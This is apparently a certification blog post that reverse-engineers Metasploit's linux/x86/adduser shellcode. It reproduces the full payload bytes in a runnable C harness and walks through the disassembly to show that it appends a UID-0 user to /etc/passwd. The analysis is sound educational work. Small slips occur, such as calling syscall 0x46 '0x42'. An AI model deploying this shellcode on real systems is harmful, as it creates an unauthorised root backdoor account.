Analysis of Metasploit linux/x86/adduser shellcode

This post analyses innards of linux/x86/adduser shellcode. Running this shellcode adds custom user with UID=0 to /etc/passwd.

Initial shellcode overview and testing

Inspect payload options and generate shellcode for analysis

$ msfvenom -p linux/x86/adduser --list-options
Options for payload/linux/x86/adduser:
=========================


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

linux/x86/adduser payload has three options. We will generate shellcode with custom user and password

$ msfvenom -p linux/x86/adduser -f c PASS=somepwd USER=someusr

Insert generated shellcode into testing C wrapper

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
// msfvenom -p linux/x86/adduser -f c PASS=somepwd USER=someusr
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x73\x6f"
"\x6d\x65\x75\x73\x72\x3a\x41\x7a\x37\x69\x56\x31\x73\x6d\x4c"
"\x66\x48\x38\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
"\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a"
"\x01\x58\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*CodeFun)() = (int(*)())code;
	CodeFun();
}

Running shellcode as sudoer we get new user someusr in /etc/passwd

$ sudo ./shellcode
$ cat /etc/passwd
...
...
maple:x:1000:1000:Maple,,,:/home/maple:/bin/bash
someusr:Az7iV1smLfH8.:0:0::/:/bin/sh

Shellcode analysis

If we try to use libemu sctest the shellcode execution isn’t emulated properly and we get executed just first ~9 instructions.

maple@ubuntu:~/Downloads/libemu/tools/sctest$ cat /mnt/hgfs/share/SLAE_exam/problem5/adduser/adduser_raw | ./sctest -vvv -Ss 100000
verbose = 3
[emu 0x0x92f0078 debug ] cpu state    eip=0x00417000
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x92f0078 debug ] Flags: 
[emu 0x0x92f0078 debug ] cpu state    eip=0x00417000
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x92f0078 debug ] Flags: 
[emu 0x0x92f0078 debug ] 31C9                            xor ecx,ecx
[emu 0x0x92f0078 debug ] cpu state    eip=0x00417002
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x92f0078 debug ] Flags: PF ZF 
[emu 0x0x92f0078 debug ] 89EF                            mov edi,ebp
[emu 0x0x92f0078 debug ] cpu state    eip=0x00417004
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x92f0078 debug ] Flags: PF ZF 
[emu 0x0x92f0078 debug ] BFBD6A4658                      mov edi,0x58466abd
[emu 0x0x92f0078 debug ] cpu state    eip=0x00417009
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF ZF 
[emu 0x0x92f0078 debug ] CD80                            int 0x80
[emu 0x0x92f0078 debug ] cpu state    eip=0x0041700b
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF ZF 
[emu 0x0x92f0078 debug ] 6A58                            push byte 0x58
[emu 0x0x92f0078 debug ] cpu state    eip=0x0041700d
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF ZF 
[emu 0x0x92f0078 debug ] 31EF                            xor edi,ebp
[emu 0x0x92f0078 debug ] cpu state    eip=0x0041700f
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF 
[emu 0x0x92f0078 debug ] BFBD516873                      mov edi,0x736851bd
[emu 0x0x92f0078 debug ] cpu state    eip=0x00417014
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x736851bd
[emu 0x0x92f0078 debug ] Flags: PF 
[emu 0x0x92f0078 debug ] 73                              jnc 0x1
[emu 0x0x92f0078 debug ] cpu state    eip=0x0041708d
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x736851bd
[emu 0x0x92f0078 debug ] Flags: PF 
[emu 0x0x92f0078 debug ] 0000                            add [eax],al
cpu error error accessing 0x00000004 not mapped

stepcount 8
[emu 0x0x92f0078 debug ] cpu state    eip=0x0041708f
[emu 0x0x92f0078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x736851bd
[emu 0x0x92f0078 debug ] Flags: PF

So sctest will not help us in further analysis. Let’s disassemble shellcode with ndisasm.

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x73\x6f\x6d\x65\x75\x73\x72\x3a\x41\x7a\x37\x69\x56\x31\x73\x6d\x4c\x66\x48\x38\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call dword 0x50
0000002B  736F              jnc 0x9c
0000002D  6D                insd
0000002E  657573            gs jnz 0xa4
00000031  723A              jc 0x6d
00000033  41                inc ecx
00000034  7A37              jpe 0x6d
00000036  695631736D4C66    imul edx,[esi+0x31],dword 0x664c6d73
0000003D  48                dec eax
0000003E  382E              cmp [esi],ch
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80

ndisasm output looks much better then that of sctest. Now we can try to carefully analyze the assembly and if we go into weird or unclear instructions we can fire up gdb and inspect what’s going on live.

Assembly part 1 – System call 0x42

00000000  31C9              xor ecx,ecx         ; zeroing ecx
00000002  89CB              mov ebx,ecx         ; zeroing ebx
00000004  6A46              push byte +0x46     ; eax=0x46
00000006  58                pop eax             ; eax=0x46
00000007  CD80              int 0x80            ; invoke system call 0x42

Assembly starts with preparing arguments for 0x46 (70) system call and then invokes it. From /usr/include/i386-linux-gnu/asm/unistd_32.h we get

#define __NR_setreuid            70

Inspecting

$ man setreuid

we see that this system call sets real and effective user IDs of the calling process. Signature of setreuid() is

int setreuid(uid_t ruid, uid_t euid);

and since code zeroed EBX and ECX following call is invoked

int setreuid(0, 0);

real and effective user ID is set to 0 and 0 respectively.

Assembly part 2 – System call 0x5

00000009  6A05              push byte +0x5          ; eax=0x5
0000000B  58                pop eax                 ; eax=0x5
0000000C  31C9              xor ecx,ecx             ; zeroing ecx
0000000E  51                push ecx                ; push NULL byte into stack,    esp(hex)=> 00
0000000F  6873737764        push dword 0x64777373   ; push 0x64777373 into stack,   esp(hex)=> 73 73 77 64 00
00000014  682F2F7061        push dword 0x61702f2f   ; push 0x61702f2f into stack,   esp(hex)=> 2f 2f 70 61 73 73 77 64 00
00000019  682F657463        push dword 0x6374652f   ; push 0x6374652f into stack,   esp(hex)=> 2f 65 74 63 2f 2f 70 61 73 73 77 64 00
0000001E  89E3              mov ebx,esp             ; ebx points to stack
00000020  41                inc ecx                 ; ecx=0x1
00000021  B504              mov ch,0x4              ; ecx=0x401
00000023  CD80              int 0x80                ; invoke system call 0x5

This part of code prepares arguments for 0x5 (5) system call and then invokes it. From /usr/include/i386-linux-gnu/asm/unistd_32.h we get

#define __NR_open                 5

By inspecting

$ man 2 open

we see that open() call returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(), write(), lseek(), fcntl(), etc.). Signature of open() is

int open(const char *pathname, int flags);

First argument is set via EBX. EBX was pointed to ESP and remember that stack was filled with some data.

push ecx        => push NULL terminator
push 0x64777373 => push "dwss"
push 0x61702f2f => push "ap//"
push 0x6374652f => push "cte/

Translated from little endian memory we get following character sequence

/etc//passwd0x00

Tha flags argument is set to 0x401. The fastest way of inspection will be analyze strace ouput

$ strace ./shellcode 2>&1| grep open
...
open("/etc//passwd", O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)

Final open() system call looks as follow

int open("/etc//passwd0x00", O_WRONLY|O_APPEND);

It returns file descriptor number or negative value in case of error.

Assembly part 3 – call dword 0x50 custom location

00000025  93                xchg eax,ebx            ; move file descriptor to ebx
00000026  E825000000        call dword 0x50         ; jmp-call-pop, jmp to custom section ...
0000002B  736F              jnc 0x9c                ; ... and save this address to esp

This stub utilizes jmp-call-pop pattern. First it loads result from previous open() call to EBX, then sets ESP to next instruction address and jumps to custom location at offset 0x50

Assembly part 4 – fixing corrupted assembly

Previous code redirected code execution to offset 00000050 of ndisasm output

...
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80

We can see that “we have no instruction at offset 00000050” ! Actually it’s there but ndisasm corrupted the assembly output. We can read offset 000050 from

0000004F  0A598B            or bl,[ecx-0x75]

so we will get instruction with opcode 0x59, pop ecx. It will be convenient to re-disassemble this final opcode sequence but with correctly aligned opcodes – that means just skipping the 0x0A opcode at 0000004F offset. So from rest of instructions we get

$ echo -ne "\x59\x8B\x51\xFC\x6A\x04\x58\xCD\x80\x6A\x01\x58\xCD\x80" | ndisasm -u -
00000000  59                pop ecx             ; load 0000002B from esp, ecx points to beginning of buffer
00000001  8B51FC            mov edx,[ecx-0x4]   ; set byte count for reading, 0x25(37)
00000004  6A04              push byte +0x4      ; eax=0x4
00000006  58                pop eax             ; eax=0x4
00000007  CD80              int 0x80            ; invoke system call 0x4, write()
00000009  6A01              push byte +0x1      ; eax=0x1
0000000B  58                pop eax             ; eax=0x1
0000000C  CD80              int 0x80            ; invoke system call 0x1, exit()

which can be read easily again.

In this assembly stub are two interrupts.

First is write() call which writes from the buffer to the file referred to by the file descriptor. From

$ man 2 write

we get write() signature

ssize_t write(int fd, const void *buf, size_t count);

fd is file descriptor number in EBX set by previous instruction

00000025  93                xchg eax,ebx            ; move file descriptor to ebx

ECX contains address with instruction

0000002B  736F              jnc 0x9c

but these bytes will be interpreted not as instructions but as data. See assembly stub below and bold bytes which are used as buf argument

 00000025  93                xchg eax,ebx
00000026 E825000000 call dword 0x50
0000002B 736F jnc 0x9c
0000002D 6D insd
0000002E 657573 gs jnz 0xa4
00000031 723A jc 0x6d
00000033 41 inc ecx
00000034 7A37 jpe 0x6d
00000036 695631736D4C66 imul edx,[esi+0x31],dword 0x664c6d73
0000003D 48 dec eax
0000003E 382E cmp [esi],ch
00000040 3A30 cmp dh,[eax]
00000042 3A30 cmp dh,[eax]
00000044 3A3A cmp bh,[edx]
00000046 2F das
00000047 3A2F cmp ch,[edi]
00000049 62696E bound ebp,[ecx+0x6e]
0000004C 2F das
0000004D 7368 jnc 0xb7
0000004F 0A598B or bl,[ecx-0x75]
00000052 51

Remember that from offset 00000050 we have valid instructions again. Extracting these bytes gives

736F6D657573723A417A37695631736D4C6648382E3A303A303A3A2F3A2F62696E2F73680A

which in ASCII gives

someusr:Az7iV1smLfH8.:0:0::/:/bin/sh

Let’s inspect count argument with GDB. We need to inspect data pointed to by EDX.

(gdb) disas /r
...
0x0804a065 <+37>:	93	xchg   ebx,eax
0x0804a066 <+38>:	e8 25 00 00 00	call   0x804a090 <code+80>
0x0804a06b <+43>:	73 6f	jae    0x804a0dc
0x0804a06d <+45>:	6d	ins    DWORD PTR es:[edi],dx
...

Remind corrected assembly for last two system calls

$ echo -ne "\x59\x8B\x51\xFC\x6A\x04\x58\xCD\x80\x6A\x01\x58\xCD\x80" | ndisasm -u -
00000000  59                pop ecx             ; load 0000002B from esp, ecx points to beginning of buffer
00000001  8B51FC            mov edx,[ecx-0x4]   ; set byte count for reading, 0x25(37)
00000004  6A04              push byte +0x4      ; eax=0x4
00000006  58                pop eax             ; eax=0x4
00000007  CD80              int 0x80            ; invoke system call 0x4, write()
00000009  6A01              push byte +0x1      ; eax=0x1
0000000B  58                pop eax             ; eax=0x1
0000000C  CD80              int 0x80            ; invoke system call 0x1, exit()

So ECX points 0x0804a06b. EDX points to [ECX-0x4] which is 0x0804A067 and there is value 0x25 (37). This argument utilizes part of opcode as its value!

Final exit() call with arguments will be

void exit(int status);

System call number 1 is passed via EAX and value -13 is passed via EBX. -13 can be caught by parent process but in this case it has no effect in this shellcode.

Final assembly analysis overview

00000000  31C9              xor ecx,ecx             ; zeroing ecx
00000002  89CB              mov ebx,ecx             ; zeroing ebx
00000004  6A46              push byte +0x46         ; eax=0x46
00000006  58                pop eax                 ; eax=0x46
00000007  CD80              int 0x80                ; invoke system call 0x42, setreuid()
00000009  6A05              push byte +0x5          ; eax=0x5
0000000B  58                pop eax                 ; eax=0x5
0000000C  31C9              xor ecx,ecx             ; zeroing ecx
0000000E  51                push ecx                ; push NULL byte into stack,    esp(hex)=> 00
0000000F  6873737764        push dword 0x64777373   ; push 0x64777373 into stack,   esp(hex)=> 73 73 77 64 00
00000014  682F2F7061        push dword 0x61702f2f   ; push 0x61702f2f into stack,   esp(hex)=> 2f 2f 70 61 73 73 77 64 00
00000019  682F657463        push dword 0x6374652f   ; push 0x6374652f into stack,   esp(hex)=> 2f 65 74 63 2f 2f 70 61 73 73 77 64 00
0000001E  89E3              mov ebx,esp             ; ebx points to stack
00000020  41                inc ecx                 ; ecx=0x1
00000021  B504              mov ch,0x4              ; ecx=0x401, bitmask O_WRONLY|O_APPEND
00000023  CD80              int 0x80                ; invoke system call 0x5, open()
00000025  93                xchg eax,ebx            ; move file descriptor to ebx
00000026  E825000000        call dword 0x50         ; jmp-call-pop, jmp to custom section 00000050
0000002B  736F              jnc 0x9c                ; string buffer pointed to by ECX from instruction at 00000050
0000002D  6D                insd                    ; string buffer all the way down to 0000004F
0000002E  657573            gs jnz 0xa4             ; keep in mind corrupted instructions on 0000004F
00000031  723A              jc 0x6d                 ; ...
00000033  41                inc ecx                 ; ...
00000034  7A37              jpe 0x6d                ; ...
00000036  695631736D4C66    imul edx,[esi+0x31],dword 0x664c6d73 ; ...
0000003D  48                dec eax                 ; ...
0000003E  382E              cmp [esi],ch            ; ...
00000040  3A30              cmp dh,[eax]            ; ...
00000042  3A30              cmp dh,[eax]            ; ...
00000044  3A3A              cmp bh,[edx]            ; ...
00000046  2F                das                     ; ...
00000047  3A2F              cmp ch,[edi]            ; ...
00000049  62696E            bound ebp,[ecx+0x6e]    ; ...
0000004C  2F                das                     ; ...
0000004D  7368              jnc 0xb7                ; ...
0000004F  0A598B            or bl,[ecx-0x75]        ; 0x4F contains last char of buffer, 0x59 is pop ecx, ecx points to 0000002B now
00000052  51                push ecx                ; 0x8B51FC is mov edx,[ecx-0x4], edx contains 0x25(37) from 00000026
00000053  FC                cld                     ; part of instruction above
00000054  6A04              push byte +0x4          ; eax=0x4
00000056  58                pop eax                 ; eax=0x4
00000057  CD80              int 0x80                ; invoke system call 0x4, write()
00000059  6A01              push byte +0x1          ; eax=0x1
0000005B  58                pop eax                 ; eax=0x1
0000005C  CD80              int 0x80                ; invoke system call 0x1, exit()

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE-1443

Leave a Reply